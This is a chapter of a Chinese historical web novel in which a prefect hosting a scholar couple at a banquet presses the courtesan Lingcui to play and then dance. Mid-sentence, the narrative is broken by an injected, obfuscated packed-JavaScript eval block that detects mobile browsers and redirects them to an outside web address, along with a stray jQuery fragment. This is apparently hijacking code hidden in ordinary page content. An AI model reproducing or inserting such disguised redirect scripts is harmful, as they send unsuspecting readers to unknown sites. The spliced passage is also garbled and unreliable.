会仙楼对待手下人颇为抠搜,若有三两个乐姬一同出场,只要其中一个没被点到,那人便拿不到半分银钱,连回程的车马费都没有。
今日这等场合,若被当场退回去,那就真真是白跑一趟了。
灵翠颇为精明,眼看着到手的银钱要飞了,哪里甘心。
吴姚二人方一露面,她立刻清声道:“奴家灵翠,见过各位贵客,今夜承蒙厚爱,愿为诸位弹奏几曲,以佐清谈。”
吴黛听了,神色微微一动。
这钟方果然是个角色,官场上的这些门道玩得极溜。自己与姚冠杨既无官身,也非权贵,他竟还舍得大手笔请乐姬。
姚冠杨也略有几分不自在,轻轻咳了一声,似想开口推辞,却又不好当场驳了钟方的面子,只得含糊一笑,未置可否。
钟方将两人反应看在眼里,明白两人不喜这种场面,于是摆摆手,正要再次拒绝。
不料灵翠早已瞧准时机,抢在他开口之前,款步上前,柔身一福:“钟知州。”
她声音不高,却恰到好处地引人侧目,“奴家今夜得见知州与几位雅士清谈论道,实在是难得的福分。这样的场面,便是在会仙楼里,也并不多见。”
钟方眉梢微动,没有立即作声。
灵翠见他神色松动,便顺势又道:“早闻钟知州爱才惜才,于音律一道亦颇有见解。奴家这点浅薄技艺,本不敢在诸位面前献丑,只是今夜月色正好,清风徐来,若能以一曲《春江花月夜》相和,或许更添几分雅趣,也不算辜负了这良辰。”
说话间,她微微朝钟方侧身,距离拿捏得恰到好处,既不失分寸,又带着几分恭敬亲近,语气也愈发柔和:“奴家虽一介乐姬,却也懂得‘士为知己者死’的道理。不敢与知州攀论知己二字,只盼这一曲琵琶,能让诸位今夜稍得清欢,奴家便心满意足了。”
钟方闻着灵翠身上阵阵幽香,不禁心神一荡,咳嗽一声道:“灵翠娘子倒是博学,连这些典故都信手拈来。”
灵翠巧笑嫣然,眼波流转:“知州过誉了,奴家只是觉得,既然今夜有缘相遇,不如就让这琵琶为各位雅士奏上几曲。若是就此错过,怕是要成为小女子一生的大憾事了。”
钟方虽不是十分好色之人,可被这样一位姿容秀丽、言辞得体的女子近前相劝,再瞥一眼吴黛与姚冠杨,也未见他们出言反对,心中那点坚持便松了几分。
“也罢。”他点了点头,“既然灵翠娘子有此雅兴,那便有劳了。”
说罢,又转向吴黛,略带歉意地笑道,“吴山长莫怪,本官原无此意,只是灵翠娘子盛情难却,倒叫人不好再拂。”
吴黛自然不会在这种小事上扫兴,大方道:“钟知州客气了,音律雅事,倒也无妨。”
她话音刚落,余光一转,恰好瞧见姚冠杨望向灵翠的目光。并无轻佻,倒带着几分真切的欣赏与敬意。
吴黛心中不由暗叹,这灵翠确实是个聪明的女子,身段放得低,话却说得稳,一步步将人情、体面、雅趣全都铺陈周全。这样的女子,莫说钟方,便是再自持的男子,怕也很难当面拒绝。
灵翠见众人落座,便退到一旁,寻了个合适的位置坐下。
她抱起琵琶,轻轻转轴试音,指尖一落,弦声如水,清越而不虚浮。曲调随即徐徐铺开,既不喧宾夺主,又恰好填补了席间的空隙,显然是多年浸淫于此道,分寸拿捏得极好。
钟方兴致颇高,亲自招呼二人,一边为他们布菜,一边笑着介绍:“二位远道而来,定要尝尝我们台州的地道菜色。这道清蒸黄鱼是台州的招牌,取的是入海处的野生黄鱼,肉质最是鲜美。这蜜橘烧肉,用的是涌泉一带的蜜橘,酸甜解腥,吃着不腻。还有这海苔饼,是渔家风味,这清汤鱼圆更是会仙楼的拿手好菜,都是寻常酒楼吃不到的。”
听到“蜜橘”二字,白日里涌泉蜜橘那股甜润滋味仿佛又回到舌尖。吴黛心中一动,不禁转头看向姚冠杨,朝他会心一笑。
那一笑如春风拂面,姚冠杨心中莫名一暖,竟也跟着笑了起来,神情憨憨的。
钟方正兴致勃勃地说着台州的山海风物,见他只连声应“是”,却明显心不在焉,不由停了停,连唤了两声。
姚冠杨这才回过神来,忙道:“是是,台州风景,果然名不虚传。”
吴黛见状,险些笑出声来。
钟方也是一愣。
他原本是问临安有哪些有名的酒楼,与会仙楼相比如何,怎的这人只顾着应和?再细看二人神色,眉眼间的默契与熟稔又不似寻常同僚,心中不由生出几分疑惑。
吴黛接过话茬道:“临安酒楼虽多,但论起海鲜海味,自是比不过临海。”
“对对。”姚冠杨顺势接道,“不过临安家常的海鲜却也甚好,刘妈的香煎带鱼便是色香味俱全。”
“刘妈是——?”钟方问敏锐地追问。
吴黛知道他在探问什么,她也没有要刻意隐瞒两人的关系,淡定道:“是家里的厨娘。”
钟方微微一怔,然后细细回想先前二人的神情互动,又想到仆从对二人的称呼,这才恍然大悟。
原来这两人竟是夫妻!
怪不得他总觉得哪里不太对。
只是最初听他俩介绍,一个是云章书院山长,一个是随行的书院先生,便先入为主地以为两人是同僚关系,如今想来,倒是自己看走了眼。
既然是夫妻,那许多事就说得通了。云章书院短短时日内声名鹊起,背后多半有姚家的支持;吴黛能坐上山长之位,想来也是夫君宠爱,顺她心意而为。
想到这,钟方心中一热,态度愈发殷勤起来,频频为姚冠杨斟酒。他正当壮年,还想往上动一动,若能攀上京中的人脉,那助力不可小觑。
他官场沉浮多年,席间套话、借酒探底早已成了他的本事。几杯酒下肚,他便旁敲侧击地引着姚冠杨说起家世来。
可说来话去,却只听出姚家祖上出过官员,却并无什么显赫门第,更谈不上京中盘根错节的关系。
酒灌了不少,有价值的消息却一丁点也没有。钟方打了个酒嗝,心中纳闷,目光在吴姚二人身上来回转。
会不会自己今日请了美貌乐姬,惹得这位小娘子不高兴了?这小郎君顾及爱妻感受,便故意与他打太极,拿些无关紧要的话来应付?
这个念头一冒出来,钟方心里不安起来。
他正思虑间,琵琶声“铮”地骤然一转。
钟方转头望去,只见灵翠纤指翻飞,在弦上轮转如飞,一曲《高山流水》缓缓流淌而出。
灵翠怀抱琵琶,眉眼低垂,神情专注恬静,透着一股超然的气韵。
席间一时无人言语,只余琴音在厅中回荡。
姚冠杨不知不觉听得入神,手指随着节拍在膝上轻轻敲动,神色专注,浑然忘我。
钟方见状,眯了眯眼,若有所思。
曲至尾声,琵琶声愈发悠扬婉转。
灵翠双目微闭,整个人仿佛随音而行,指下滚、拂、绞、抹,连绵不断,音声如珠玉坠盘,清晰而有层次。
忽然间,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181752|189019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“锵”的一声脆响破空而出,就在曲调转折的刹那,姚冠杨原本随音轻晃的身形微微一顿,眉心不自觉地蹙起。
钟方敏锐地察觉到这一瞬间的变化,嘴角微扬,似笑非笑地捋了捋胡须。
曲终收弦,灵翠起身朝姚冠杨福了一福,“奴方才指下失了分寸,让郎君见笑了。”
姚冠杨摇了摇头,认真道:“并非错音,只是收得稍紧了些,若能再放开半分,气势便更足了。”
吴黛知道他通晓音律,平日里在书院也常与学生切磋琴艺,却不曾细想他的耳力竟如此敏锐。
同样一双耳朵,她可什么都没听出来。
钟方此刻却心生一计。
他想,这吴黛虽也生得娇丽,言行却过于板正强势,远不如灵翠这般娇软。
灵翠与姚冠杨,一个会弹,一个会听,岂不是绝配?
男人嘛,终究难过美人关,也不会嫌美人关太多。只要有人从中牵线搭桥,即使正头娘子在也不怕。
若能借此拉近与姚家的关系,往后的路,或许便能再宽几分。
念及此,他已然起身,抚掌道:“好!好!灵翠娘子妙手,弹曲余音绕梁,姚先生耳力过人,也不负‘知音’二字了。”
灵翠忙欠身道:“妾岂敢妄攀知音。”
姚冠杨却坦然道:“灵翠娘子太谦虚了,《高山流水》本为古琴曲,娘子能以琵琶弹奏,可见功力之深。这‘滚拂’拟流水,‘绞弦’作山鸣,比古琴反倒多出几分金石之气。”
钟方捻须笑道:“既然琴已赏过,不若再请灵翠娘子舞上一段?听闻会仙楼此前排过霓裳琵琶舞,想必娘子也擅长。”
他最初还担心灵翠太过惹眼,弄得场面尴尬,此时心思一转,却只担心她不够惹眼,不够吸引人。
吴黛听罢皱眉,心说这钟方酒喝多了吧,老登本色尽露。
灵翠面露难色:“钟知州抬举了,小女子只会弹琴,跳舞却是不精通的。”
“娘子莫谦虚。”钟方摆摆手,“你是会仙楼的招牌,怎么可能只会一样?”
吴黛见灵翠为难,忍不住出声道:“钟知州,既然灵翠姑娘不便,就不要勉强了。
“是啊。”姚冠杨也道,“强人所难,有失雅致。”
钟方却不以为意,心想这时候正头娘子的面子得给足,小人就由我来做好了:“二位说笑了,方才灵翠娘子也说,今夜若是错过,怕是终身有憾,我等何不让她尽兴展示?”
灵翠其实也会跳舞,只是不如她的琴技那么出色。
方才她低声软语,好不容易才留在席前,此刻若再推辞,便要得罪人了,何况对方还是知州。于是,她咬牙应道:“既如此,奴家就献丑了。”
吴黛看在眼里,心中不免生出几分不忍。灵翠明显不情不愿,同为女子,她对这种被迫献艺的滋味自然感同身受。正待再次开口替她解围,灵翠却已轻移莲步,盈盈走到席前,衣袂一展,舞势已起。
她抬袖回身,腰肢缓折,起落之间确有章法,举手投足皆带着柔润妩媚的风致。只是舞到中段,便能看出几分拘谨。或许是心中不情愿,又或许是酒席间地方狭小,她步子收得略紧,转身不敢放开,仿佛时时记着脚下的分寸。面上仍挂着那抹恰到好处的浅笑,眼底却少了先前抚琴时的从容。
“好!好!”钟方拍着手,兴致渐高。
灵翠应声而转,衣裙如云翻卷。
就在这一瞬,她脚下忽然一滑,踝骨一错,身形陡然失去平衡,整个人向前倾去,眼看就要跌倒。